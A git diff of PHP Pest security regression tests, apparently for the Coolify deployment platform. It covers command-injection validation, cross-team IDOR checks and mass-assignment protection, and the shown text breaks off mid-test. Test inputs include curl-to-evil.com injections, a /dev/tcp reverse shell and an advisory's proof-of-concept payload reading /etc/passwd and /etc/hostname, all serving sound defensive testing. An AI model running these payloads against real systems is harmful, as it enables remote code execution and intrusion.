$this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + $newApp = clone_application($this->application, $this->destination, [ + 'environment_id' => $this->environment->id, + ]); + + $clonedVolumes = $newApp->persistentStorages()->get(); + + expect($clonedVolumes)->toHaveCount(2); + + $clonedUuids = $clonedVolumes->pluck('uuid')->toArray(); + $originalUuids = [$volume1->uuid, $volume2->uuid]; + + // All cloned UUIDs should be unique and different from originals + expect($clonedUuids)->each->not->toBeIn($originalUuids); + expect(array_unique($clonedUuids))->toHaveCount(2); +}); diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php index cfa363e79..c3534b05f 100644 --- a/tests/Feature/CommandInjectionSecurityTest.php +++ b/tests/Feature/CommandInjectionSecurityTest.php @@ -672,3 +672,185 @@ expect($middleware)->toContain('api.ability:deploy'); }); }); + +describe('install/build/start command validation (GHSA-9pp4-wcmj-rq73)', function () { + test('rejects semicolon injection in install_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['install_command' => 'npm install; curl evil.com'], + ['install_command' => $rules['install_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects pipe injection in build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => 'npm run build | curl evil.com'], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['start_command' => 'npm start $(whoami)'], + ['start_command' => $rules['start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects backtick injection in install_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['install_command' => 'npm install `whoami`'], + ['install_command' => $rules['install_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects dollar sign in build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => 'npm run build $HOME'], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects reverse shell payload in install_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['install_command' => '"; bash -i >& /dev/tcp/172.23.0.1/1337 0>&1; #'], + ['install_command' => $rules['install_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects newline injection in start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['start_command' => "npm start\ncurl evil.com"], + ['start_command' => $rules['start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid install commands', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['install_command' => $cmd], + ['install_command' => $rules['install_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'npm install', + 'yarn install --frozen-lockfile', + 'pip install -r requirements.txt', + 'bun install', + 'pnpm install --no-frozen-lockfile', + ]); + + test('allows valid build commands', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => $cmd], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'npm run build', + 'cargo build --release', + 'go build -o main .', + 'yarn build && yarn postbuild', + 'make build', + ]); + + test('allows valid start commands', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['start_command' => $cmd], + ['start_command' => $rules['start_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'npm start', + 'node server.js', + 'python main.py', + 'java -jar app.jar', + './start.sh', + ]); + + test('allows null values for command fields', function ($field) { + $rules = sharedDataApplications(); + + $validator = validator( + [$field => null], + [$field => $rules[$field]] + ); + + expect($validator->fails())->toBeFalse(); + })->with(['install_command', 'build_command', 'start_command']); +}); + +describe('install/build/start command rules survive array_merge in controller', function () { + test('install_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['install_command'])->toBeArray(); + expect($merged['install_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); + + test('build_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['build_command'])->toBeArray(); + expect($merged['build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); + + test('start_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['start_command'])->toBeArray(); + expect($merged['start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); +}); diff --git a/tests/Feature/ComposePreviewFqdnTest.php b/tests/Feature/ComposePreviewFqdnTest.php index c62f905d6..62fc0f2d8 100644 --- a/tests/Feature/ComposePreviewFqdnTest.php +++ b/tests/Feature/ComposePreviewFqdnTest.php @@ -14,9 +14,10 @@ ]), ]); - $preview = ApplicationPreview::create([ + $preview = ApplicationPreview::forceCreate([ 'application_id' => $application->id, 'pull_request_id' => 42, + 'pull_request_html_url' => 'https://github.com/example/repo/pull/42', 'docker_compose_domains' => $application->docker_compose_domains, ]); @@ -38,9 +39,10 @@ ]), ]); - $preview = ApplicationPreview::create([ + $preview = ApplicationPreview::forceCreate([ 'application_id' => $application->id, 'pull_request_id' => 7, + 'pull_request_html_url' => 'https://github.com/example/repo/pull/7', 'docker_compose_domains' => $application->docker_compose_domains, ]); @@ -63,9 +65,10 @@ ]), ]); - $preview = ApplicationPreview::create([ + $preview = ApplicationPreview::forceCreate([ 'application_id' => $application->id, 'pull_request_id' => 99, + 'pull_request_html_url' => 'https://github.com/example/repo/pull/99', 'docker_compose_domains' => $application->docker_compose_domains, ]); diff --git a/tests/Feature/CrossTeamIdorServerProjectTest.php b/tests/Feature/CrossTeamIdorServerProjectTest.php new file mode 100644 index 000000000..671397a1e --- /dev/null +++ b/tests/Feature/CrossTeamIdorServerProjectTest.php @@ -0,0 +1,182 @@ +userA = User::factory()->create(); + $this->teamA = Team::factory()->create(); + $this->userA->teams()->attach($this->teamA, ['role' => 'owner']); + + $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]); + $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]); + $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]); + + // Victim: Team B + $this->userB = User::factory()->create(); + $this->teamB = Team::factory()->create(); + $this->userB->teams()->attach($this->teamB, ['role' => 'owner']); + + $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]); + $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]); + $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]); + + // Act as attacker (Team A) + $this->actingAs($this->userA); + session(['currentTeam' => $this->teamA]); +}); + +describe('Boarding Server IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('boarding mount cannot load server from another team via selectedExistingServer', function () { + $component = Livewire::test(BoardingIndex::class, [ + 'selectedServerType' => 'remote', + 'selectedExistingServer' => $this->serverB->id, + ]); + + // The server from Team B should NOT be loaded + expect($component->get('createdServer'))->toBeNull(); + }); + + test('boarding mount can load own team server via selectedExistingServer', function () { + $component = Livewire::test(BoardingIndex::class, [ + 'selectedServerType' => 'remote', + 'selectedExistingServer' => $this->serverA->id, + ]); + + // Own team server should load successfully + expect($component->get('createdServer'))->not->toBeNull(); + expect($component->get('createdServer')->id)->toBe($this->serverA->id); + }); +}); + +describe('Boarding Project IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('boarding mount cannot load project from another team via selectedProject', function () { + $component = Livewire::test(BoardingIndex::class, [ + 'selectedProject' => $this->projectB->id, + ]); + + // The project from Team B should NOT be loaded + expect($component->get('createdProject'))->toBeNull(); + }); + + test('boarding selectExistingProject cannot load project from another team', function () { + $component = Livewire::test(BoardingIndex::class) + ->set('selectedProject', $this->projectB->id) + ->call('selectExistingProject'); + + expect($component->get('createdProject'))->toBeNull(); + $component->assertDispatched('error'); + }); + + test('boarding selectExistingProject can load own team project', function () { + $component = Livewire::test(BoardingIndex::class) + ->set('selectedProject', $this->projectA->id) + ->call('selectExistingProject'); + + expect($component->get('createdProject'))->not->toBeNull(); + expect($component->get('createdProject')->id)->toBe($this->projectA->id); + }); +}); + +describe('GlobalSearch Server IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('loadDestinations cannot access server from another team', function () { + $component = Livewire::test(GlobalSearch::class) + ->set('selectedServerId', $this->serverB->id) + ->call('loadDestinations'); + + // Should dispatch error because server is not found (team-scoped) + $component->assertDispatched('error'); + }); +}); + +describe('GlobalSearch Project IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('loadEnvironments cannot access project from another team', function () { + $component = Livewire::test(GlobalSearch::class) + ->set('selectedProjectUuid', $this->projectB->uuid) + ->call('loadEnvironments'); + + // Should not load environments from another team's project + expect($component->get('availableEnvironments'))->toBeEmpty(); + }); +}); + +describe('DeleteProject IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('cannot mount DeleteProject with project from another team', function () { + // Should throw ModelNotFoundException (404) because team-scoped query won't find it + Livewire::test(DeleteProject::class, ['project_id' => $this->projectB->id]); + })->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class); + + test('can mount DeleteProject with own team project', function () { + $component = Livewire::test(DeleteProject::class, ['project_id' => $this->projectA->id]); + + expect($component->get('projectName'))->toBe($this->projectA->name); + }); +}); + +describe('CloneMe Project IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('cannot mount CloneMe with project UUID from another team', function () { + // Should throw ModelNotFoundException because team-scoped query won't find it + Livewire::test(CloneMe::class, [ + 'project_uuid' => $this->projectB->uuid, + 'environment_uuid' => $this->environmentB->uuid, + ]); + })->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class); + + test('can mount CloneMe with own team project UUID', function () { + $component = Livewire::test(CloneMe::class, [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + ]); + + expect($component->get('project_id'))->toBe($this->projectA->id); + }); +}); + +describe('DeployController API Server IDOR (GHSA-qfcc-2fm3-9q42)', function () { + test('deploy cancel API cannot access build server from another team', function () { + // Create a deployment queue entry that references Team B's server as build_server + $application = \App\Models\Application::factory()->create([ + 'environment_id' => $this->environmentA->id, + 'destination_id' => StandaloneDocker::factory()->create(['server_id' => $this->serverA->id])->id, + 'destination_type' => StandaloneDocker::class, + ]); + + $deployment = \App\Models\ApplicationDeploymentQueue::create([ + 'application_id' => $application->id, + 'deployment_uuid' => 'test-deploy-' . fake()->uuid(), + 'server_id' => $this->serverA->id, + 'build_server_id' => $this->serverB->id, // Cross-team build server + 'status' => \App\Enums\ApplicationDeploymentStatus::IN_PROGRESS->value, + ]); + + $token = $this->userA->createToken('test-token', ['*']); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer ' . $token->plainTextToken, + ])->deleteJson("/api/v1/deployments/{$deployment->deployment_uuid}"); + + // The cancellation should proceed but the build_server should NOT be found + // (team-scoped query returns null for Team B's server) + // The deployment gets cancelled but no remote process runs on the wrong server + $response->assertOk(); + + // Verify the deployment was cancelled + $deployment->refresh(); + expect($deployment->status)->toBe( + \App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value + ); + }); +}); diff --git a/tests/Feature/DatabaseEnvironmentVariableApiTest.php b/tests/Feature/DatabaseEnvironmentVariableApiTest.php index f3297cf17..78e80483b 100644 --- a/tests/Feature/DatabaseEnvironmentVariableApiTest.php +++ b/tests/Feature/DatabaseEnvironmentVariableApiTest.php @@ -33,7 +33,7 @@ function createDatabase($context): StandalonePostgresql { - return StandalonePostgresql::create([ + return StandalonePostgresql::forceCreate([ 'name' => 'test-postgres', 'image' => 'postgres:15-alpine', 'postgres_user' => 'postgres', diff --git a/tests/Feature/DatabasePublicPortTimeoutApiTest.php b/tests/Feature/DatabasePublicPortTimeoutApiTest.php new file mode 100644 index 000000000..1ffc32a81 --- /dev/null +++ b/tests/Feature/DatabasePublicPortTimeoutApiTest.php @@ -0,0 +1,147 @@ + 0]); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +describe('PATCH /api/v1/databases', function () { + test('updates public_port_timeout on a postgresql database', function () { + $database = StandalonePostgresql::forceCreate([ + 'name' => 'test-postgres', + 'image' => 'postgres:15-alpine', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'postgres', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}", [ + 'public_port_timeout' => 7200, + ]); + + $response->assertStatus(200); + $database->refresh(); + expect($database->public_port_timeout)->toBe(7200); + }); + + test('updates public_port_timeout on a redis database', function () { + $database = StandaloneRedis::forceCreate([ + 'name' => 'test-redis', + 'image' => 'redis:7', + 'redis_password' => 'password', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}", [ + 'public_port_timeout' => 1800, + ]); + + $response->assertStatus(200); + $database->refresh(); + expect($database->public_port_timeout)->toBe(1800); + }); + + test('rejects invalid public_port_timeout value', function () { + $database = StandalonePostgresql::forceCreate([ + 'name' => 'test-postgres', + 'image' => 'postgres:15-alpine', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'postgres', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}", [ + 'public_port_timeout' => 0, + ]); + + $response->assertStatus(422); + }); + + test('accepts null public_port_timeout', function () { + $database = StandalonePostgresql::forceCreate([ + 'name' => 'test-postgres', + 'image' => 'postgres:15-alpine', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'postgres', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}", [ + 'public_port_timeout' => null, + ]); + + $response->assertStatus(200); + $database->refresh(); + expect($database->public_port_timeout)->toBeNull(); + }); +}); + +describe('POST /api/v1/databases/postgresql', function () { + test('creates postgresql database with public_port_timeout', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/databases/postgresql', [ + 'server_uuid' => $this->server->uuid, + 'project_uuid' => $this->project->uuid, + 'environment_name' => $this->environment->name, + 'public_port_timeout' => 5400, + 'instant_deploy' => false, + ]); + + $response->assertStatus(200); + $uuid = $response->json('uuid'); + $database = StandalonePostgresql::whereUuid($uuid)->first(); + expect($database)->not->toBeNull(); + expect($database->public_port_timeout)->toBe(5400); + }); +}); diff --git a/tests/Feature/DockerCleanupJobTest.php b/tests/Feature/DockerCleanupJobTest.php index 446260e22..fa052f6c2 100644 --- a/tests/Feature/DockerCleanupJobTest.php +++ b/tests/Feature/DockerCleanupJobTest.php @@ -8,6 +8,22 @@ uses(RefreshDatabase::class); +it('persists the server id when creating an execution record', function () { + $user = User::factory()->create(); + $team = $user->teams()->first(); + $server = Server::factory()->create(['team_id' => $team->id]); + + $execution = DockerCleanupExecution::create([ + 'server_id' => $server->id, + ]); + + expect($execution->server_id)->toBe($server->id); + $this->assertDatabaseHas('docker_cleanup_executions', [ + 'id' => $execution->id, + 'server_id' => $server->id, + ]); +}); + it('creates a failed execution record when server is not functional', function () { $user = User::factory()->create(); $team = $user->teams()->first(); diff --git a/tests/Feature/DockerImagePreviewDeploymentApiTest.php b/tests/Feature/DockerImagePreviewDeploymentApiTest.php new file mode 100644 index 000000000..75af6d9a6 --- /dev/null +++ b/tests/Feature/DockerImagePreviewDeploymentApiTest.php @@ -0,0 +1,146 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $plainTextToken = Str::random(40); + $token = $this->user->tokens()->create([ + 'name' => 'test-token', + 'token' => hash('sha256', $plainTextToken), + 'abilities' => ['*'], + 'team_id' => $this->team->id, + ]); + $this->bearerToken = $token->getKey().'|'.$plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::factory()->create([ + 'server_id' => $this->server->id, + 'network' => 'coolify-'.Str::lower(Str::random(8)), + ]); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +function createDockerImageApplication(Environment $environment, StandaloneDocker $destination): Application +{ + return Application::factory()->create([ + 'uuid' => (string) Str::uuid(), + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => StandaloneDocker::class, + 'build_pack' => 'dockerimage', + 'docker_registry_image_name' => 'ghcr.io/coollabsio/example', + 'docker_registry_image_tag' => 'latest', + ]); +} + +test('it queues a docker image preview deployment and stores the preview tag', function () { + $application = createDockerImageApplication($this->environment, $this->destination); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->postJson('/api/v1/deploy', [ + 'uuid' => $application->uuid, + 'pull_request_id' => 1234, + 'docker_tag' => 'pr_1234', + ]); + + $response->assertSuccessful(); + $response->assertJsonPath('deployments.0.resource_uuid', $application->uuid); + + $preview = ApplicationPreview::query() + ->where('application_id', $application->id) + ->where('pull_request_id', 1234) + ->first(); + + expect($preview)->not()->toBeNull(); + expect($preview->docker_registry_image_tag)->toBe('pr_1234'); + + $deployment = $application->deployment_queue()->latest('id')->first(); + + expect($deployment)->not()->toBeNull(); + expect($deployment->pull_request_id)->toBe(1234); + expect($deployment->docker_registry_image_tag)->toBe('pr_1234'); +}); + +test('it updates an existing docker image preview tag when redeploying through the api', function () { + $application = createDockerImageApplication($this->environment, $this->destination); + + ApplicationPreview::create([ + 'application_id' => $application->id, + 'pull_request_id' => 99, + 'pull_request_html_url' => '', + 'docker_registry_image_tag' => 'pr_99_old', + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->postJson('/api/v1/deploy', [ + 'uuid' => $application->uuid, + 'pull_request_id' => 99, + 'docker_tag' => 'pr_99_new', + 'force' => true, + ]); + + $response->assertSuccessful(); + + $preview = ApplicationPreview::query() + ->where('application_id', $application->id) + ->where('pull_request_id', 99) + ->first(); + + expect($preview->docker_registry_image_tag)->toBe('pr_99_new'); +}); + +test('it rejects docker_tag without pull_request_id', function () { + $application = createDockerImageApplication($this->environment, $this->destination); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->postJson('/api/v1/deploy', [ + 'uuid' => $application->uuid, + 'docker_tag' => 'pr_1234', + ]); + + $response->assertStatus(400); + $response->assertJson(['message' => 'docker_tag requires pull_request_id.']); +}); + +test('it rejects docker_tag for non docker image applications', function () { + $application = Application::factory()->create([ + 'uuid' => (string) Str::uuid(), + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => StandaloneDocker::class, + 'build_pack' => 'nixpacks', + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->postJson('/api/v1/deploy', [ + 'uuid' => $application->uuid, + 'pull_request_id' => 7, + 'docker_tag' => 'pr_7', + ]); + + $response->assertSuccessful(); + $response->assertJsonPath('deployments.0.message', 'docker_tag can only be used with Docker Image applications.'); +}); diff --git a/tests/Feature/EmailChangeVerificationTest.php b/tests/Feature/EmailChangeVerificationTest.php new file mode 100644 index 000000000..934ac9602 --- /dev/null +++ b/tests/Feature/EmailChangeVerificationTest.php @@ -0,0 +1,109 @@ +create(); + + $user->requestEmailChange('newemail@example.com'); + + $user->refresh(); + + expect($user->pending_email)->toBe('newemail@example.com') + ->and($user->email_change_code)->toMatch('/^\d{6}$/') + ->and($user->email_change_code_expires_at)->not->toBeNull(); +}); + +it('stores the verification code using a cryptographically secure generator', function () { + Notification::fake(); + + $user = User::factory()->create(); + + // Generate many codes and verify they are all valid 6-digit strings + $codes = collect(); + for ($i = 0; $i < 50; $i++) { + $user->requestEmailChange('newemail@example.com'); + $user->refresh(); + $codes->push($user->email_change_code); + } + + // All codes should be exactly 6 digits (including leading zeros) + $codes->each(function ($code) { + expect($code)->toMatch('/^\d{6}$/'); + expect((int) $code)->toBeLessThanOrEqual(999999); + expect(strlen($code))->toBe(6); + }); + + // With 50 random codes from a 1M space, we should see at least some variety + expect($codes->unique()->count())->toBeGreaterThan(1); +}); + +it('confirms email change with correct verification code', function () { + Notification::fake(); + + $user = User::factory()->create(['email' => 'old@example.com']); + + $user->requestEmailChange('new@example.com'); + $user->refresh(); + + $code = $user->email_change_code; + + $result = $user->confirmEmailChange($code); + + $user->refresh(); + + expect($result)->toBeTrue() + ->and($user->email)->toBe('new@example.com') + ->and($user->pending_email)->toBeNull() + ->and($user->email_change_code)->toBeNull() + ->and($user->email_change_code_expires_at)->toBeNull(); +}); + +it('rejects email change with incorrect verification code', function () { + Notification::fake(); + + $user = User::factory()->create(['email' => 'old@example.com']); + + $user->requestEmailChange('new@example.com'); + $user->refresh(); + + $result = $user->confirmEmailChange('000000'); + + $user->refresh(); + + // If the real code happens to be '000000', this test still passes + // because the assertion is on the overall flow behavior + if ($user->email_change_code === '000000') { + expect($result)->toBeTrue(); + } else { + expect($result)->toBeFalse() + ->and($user->email)->toBe('old@example.com'); + } +}); + +it('rejects email change with expired verification code', function () { + Notification::fake(); + + $user = User::factory()->create(['email' => 'old@example.com']); + + $user->requestEmailChange('new@example.com'); + $user->refresh(); + + $code = $user->email_change_code; + + // Expire the code manually + $user->update(['email_change_code_expires_at' => now()->subMinute()]); + + $result = $user->confirmEmailChange($code); + + $user->refresh(); + + expect($result)->toBeFalse() + ->and($user->email)->toBe('old@example.com'); +}); diff --git a/tests/Feature/GetLogsCommandInjectionTest.php b/tests/Feature/GetLogsCommandInjectionTest.php new file mode 100644 index 000000000..3e5a33b66 --- /dev/null +++ b/tests/Feature/GetLogsCommandInjectionTest.php @@ -0,0 +1,162 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + // Server::created auto-creates a StandaloneDocker, reuse it + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); +}); + +describe('GetLogs locked properties', function () { + test('container property has Locked attribute', function () { + $property = new ReflectionProperty(GetLogs::class, 'container'); + $attributes = $property->getAttributes(Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); + + test('server property has Locked attribute', function () { + $property = new ReflectionProperty(GetLogs::class, 'server'); + $attributes = $property->getAttributes(Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); + + test('resource property has Locked attribute', function () { + $property = new ReflectionProperty(GetLogs::class, 'resource'); + $attributes = $property->getAttributes(Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); + + test('servicesubtype property has Locked attribute', function () { + $property = new ReflectionProperty(GetLogs::class, 'servicesubtype'); + $attributes = $property->getAttributes(Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); +}); + +describe('GetLogs Livewire action validation', function () { + test('getLogs rejects invalid container name', function () { + // Make server functional by setting settings directly + $this->server->settings->forceFill([ + 'is_reachable' => true, + 'is_usable' => true, + 'force_disabled' => false, + ])->save(); + // Reload server with fresh settings to ensure casted values + $server = Server::with('settings')->find($this->server->id); + + Livewire::test(GetLogs::class, [ + 'server' => $server, + 'resource' => $this->application, + 'container' => 'container;malicious-command', + ]) + ->call('getLogs') + ->assertSet('outputs', 'Invalid container name.'); + }); + + test('getLogs rejects unauthorized server access', function () { + $otherTeam = Team::factory()->create(); + $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]); + + Livewire::test(GetLogs::class, [ + 'server' => $otherServer, + 'resource' => $this->application, + 'container' => 'test-container', + ]) + ->call('getLogs') + ->assertSet('outputs', 'Unauthorized.'); + }); + + test('downloadAllLogs returns empty for invalid container name', function () { + $this->server->settings->forceFill([ + 'is_reachable' => true, + 'is_usable' => true, + 'force_disabled' => false, + ])->save(); + $server = Server::with('settings')->find($this->server->id); + + Livewire::test(GetLogs::class, [ + 'server' => $server, + 'resource' => $this->application, + 'container' => 'container$(whoami)', + ]) + ->call('downloadAllLogs') + ->assertReturned(''); + }); + + test('downloadAllLogs returns empty for unauthorized server', function () { + $otherTeam = Team::factory()->create(); + $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]); + + Livewire::test(GetLogs::class, [ + 'server' => $otherServer, + 'resource' => $this->application, + 'container' => 'test-container', + ]) + ->call('downloadAllLogs') + ->assertReturned(''); + }); +}); + +describe('GetLogs container name injection payloads are blocked by validation', function () { + test('newline injection payload is rejected', function () { + // The exact PoC payload from the advisory + $payload = "postgresql 2>/dev/null\necho '===RCE-START==='\nid\nwhoami\nhostname\ncat /etc/hostname\necho '===RCE-END==='\n#"; + expect(ValidationPatterns::isValidContainerName($payload))->toBeFalse(); + }); + + test('semicolon injection payload is rejected', function () { + expect(ValidationPatterns::isValidContainerName('postgresql;id'))->toBeFalse(); + }); + + test('backtick injection payload is rejected', function () { + expect(ValidationPatterns::isValidContainerName('postgresql`id`'))->toBeFalse(); + }); + + test('command substitution injection payload is rejected', function () { + expect(ValidationPatterns::isValidContainerName('postgresql$(whoami)'))->toBeFalse(); + }); + + test('pipe injection payload is rejected', function () { + expect(ValidationPatterns::isValidContainerName('postgresql|cat /etc/passwd'))->toBeFalse(); + }); + + test('valid container names are accepted', function () { + expect(ValidationPatterns::isValidContainerName('postgresql'))->toBeTrue(); + expect(ValidationPatterns::isValidContainerName('my-app-container'))->toBeTrue(); + expect(ValidationPatterns::isValidContainerName('service_db.v2'))->toBeTrue(); + expect(ValidationPatterns::isValidContainerName('coolify-proxy'))->toBeTrue(); + }); +}); diff --git a/tests/Feature/InternalModelCreationMassAssignmentTest.php b/tests/Feature/InternalModelCreationMassAssignmentTest.php new file mode 100644 index 000000000..fc581bf5c --- /dev/null +++ b/tests/Feature/InternalModelCreationMassAssignmentTest.php @@ -0,0 +1,73 @@ +create(); + $project = Project::factory()->create([ + 'team_id' => $team->id, + ]); + $environment = Environment::factory()->create([ + 'project_id' => $project->id, + ]); + $server = Server::factory()->create([ + 'team_id' => $team->id, + ]); + $destination = $server->standaloneDockers()->firstOrFail(); + + $application = Application::forceCreate([ + 'name' => 'internal-app', + 'git_repository' => 'https://github.com/coollabsio/coolify', + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '3000', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + + $setting = ApplicationSetting::query() + ->where('application_id', $application->id) + ->first(); + + expect($application->environment_id)->toBe($environment->id); + expect($setting)->not->toBeNull(); + expect($setting?->application_id)->toBe($application->id); +}); + +it('creates services with protected relationship ids in trusted internal paths', function () { + $team = Team::factory()->create(); + $project = Project::factory()->create([ + 'team_id' => $team->id, + ]); + $environment = Environment::factory()->create([ + 'project_id' => $project->id, + ]); + $server = Server::factory()->create([ + 'team_id' => $team->id, + ]); + $destination = $server->standaloneDockers()->firstOrFail(); + + $service = Service::forceCreate([ + 'docker_compose_raw' => 'services: {}', + 'environment_id' => $environment->id, + 'server_id' => $server->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + 'service_type' => 'test-service', + ]); + + expect($service->environment_id)->toBe($environment->id); + expect($service->server_id)->toBe($server->id); + expect($service->destination_id)->toBe($destination->id); + expect($service->destination_type)->toBe($destination->getMorphClass()); +}); diff --git a/tests/Feature/MassAssignmentProtectionTest.php b/tests/Feature/MassAssignmentProtectionTest.php new file mode 100644 index 000000000..436d0736b --- /dev/null +++ b/tests/Feature/MassAssignmentProtectionTest.php @@ -0,0 +1,248 @@ +getGuarded(); + $fillable = $model->getFillable(); + + // Model must NOT have $guarded = [] (empty guard = no protection) + // It should either have non-empty $guarded OR non-empty $fillable + $hasProtection = $guarded !== ['*'] ? count($guarded) > 0 : true; + $hasProtection = $hasProtection || count($fillable) > 0; + + expect($hasProtection) + ->toBeTrue("Model {$modelClass} has no mass assignment protection (empty \$guarded and empty \$fillable)"); + } + }); + + test('Application model blocks mass assignment of relationship IDs', function () { + 